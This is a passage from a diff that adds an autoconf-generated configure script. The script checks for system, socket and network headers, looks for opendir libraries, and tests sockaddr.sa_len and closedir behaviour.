"echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_hdr" | $as_tr_cpp` 1 +_ACEOF + +ac_header_dirent=$ac_hdr; break +fi + +done +# Two versions of opendir et al. are in -ldir and -lx on SCO Xenix. +if test $ac_header_dirent = dirent.h; then + { echo "$as_me:$LINENO: checking for library containing opendir" >&5 +echo $ECHO_N "checking for library containing opendir... $ECHO_C" >&6; } +if test "${ac_cv_search_opendir+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char opendir (); +int +main () +{ +return opendir (); + ; + return 0; +} +_ACEOF +for ac_lib in '' dir; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_opendir=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_opendir+set}" = set; then + break +fi +done +if test "${ac_cv_search_opendir+set}" = set; then + : +else + ac_cv_search_opendir=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_opendir" >&5 +echo "${ECHO_T}$ac_cv_search_opendir" >&6; } +ac_res=$ac_cv_search_opendir +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + +else + { echo "$as_me:$LINENO: checking for library containing opendir" >&5 +echo $ECHO_N "checking for library containing opendir... $ECHO_C" >&6; } +if test "${ac_cv_search_opendir+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char opendir (); +int +main () +{ +return opendir (); + ; + return 0; +} +_ACEOF +for ac_lib in '' x; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_opendir=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_opendir+set}" = set; then + break +fi +done +if test "${ac_cv_search_opendir+set}" = set; then + : +else + ac_cv_search_opendir=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_opendir" >&5 +echo "${ECHO_T}$ac_cv_search_opendir" >&6; } +ac_res=$ac_cv_search_opendir +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + +fi + +{ echo "$as_me:$LINENO: checking whether time.h and sys/time.h may both be included" >&5 +echo $ECHO_N "checking whether time.h and sys/time.h may both be included... $ECHO_C" >&6; } +if test "${ac_cv_header_time+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include + +int +main () +{ +if ((struct tm *) 0) +return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_header_time=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_header_time=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_header_time" >&5 +echo "${ECHO_T}$ac_cv_header_time" >&6; } +if test $ac_cv_header_time = yes; then + +cat >>confdefs.h <<\_ACEOF +#define TIME_WITH_SYS_TIME 1 +_ACEOF + +fi + + + + + + + + + + + + + + + +for ac_header in fcntl.h inttypes.h malloc.h memory.h netdb.h stddef.h stdint.h stdlib.h string.h sys/ioctl.h sys/param.h sys/time.h unistd.h limits.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( cat <<\_ASBOX +## ------------------------------------------------ ## +## Report this to osace-users@lists.sourceforge.net ## +## ------------------------------------------------ ## +_ASBOX + ) | sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + +for ac_header in sys/socket.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + + +for ac_header in net/if.h netinet/in.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#ifdef HAVE_SYS_SOCKET_H +#include +#endif + + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + + + + + + + + + + +for ac_header in arpa/inet.h ifaddrs.h net/if_dl.h ifaddrs.h net/bpf.h net/ethernet.h sys/ethernet.h netinet/if_ether.h netinet/ether.h netpacket/packet.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#ifdef HAVE_SYS_TIME_H +#include +#endif +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_NET_IF_H +#include +#endif + + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + +{ echo "$as_me:$LINENO: checking for struct sockaddr.sa_len" >&5 +echo $ECHO_N "checking for struct sockaddr.sa_len... $ECHO_C" >&6; } +if test "${ac_cv_member_struct_sockaddr_sa_len+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include + +int +main () +{ +static struct sockaddr ac_aggr; +if (ac_aggr.sa_len) +return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_member_struct_sockaddr_sa_len=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include + +int +main () +{ +static struct sockaddr ac_aggr; +if (sizeof ac_aggr.sa_len) +return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_member_struct_sockaddr_sa_len=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_member_struct_sockaddr_sa_len=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_member_struct_sockaddr_sa_len" >&5 +echo "${ECHO_T}$ac_cv_member_struct_sockaddr_sa_len" >&6; } +if test $ac_cv_member_struct_sockaddr_sa_len = yes; then + cat >>confdefs.h <<\_ACEOF +#define HAVE_STRUCT_SOCKADDR_LEN 1 +_ACEOF + +fi + + +{ echo "$as_me:$LINENO: checking whether closedir returns void" >&5 +echo $ECHO_N "checking whether closedir returns void... $ECHO_C" >&6; } +if test "${ac_cv_func_closedir_void+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_closedir_void=yes +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header_dirent> +#ifndef __cplusplus +int closedir (); +#endif + +int +main () +{ +return closedir (opendir (".")) != 0; + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_closedir_void=no +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_func_closedir_void=yes +fi +rm 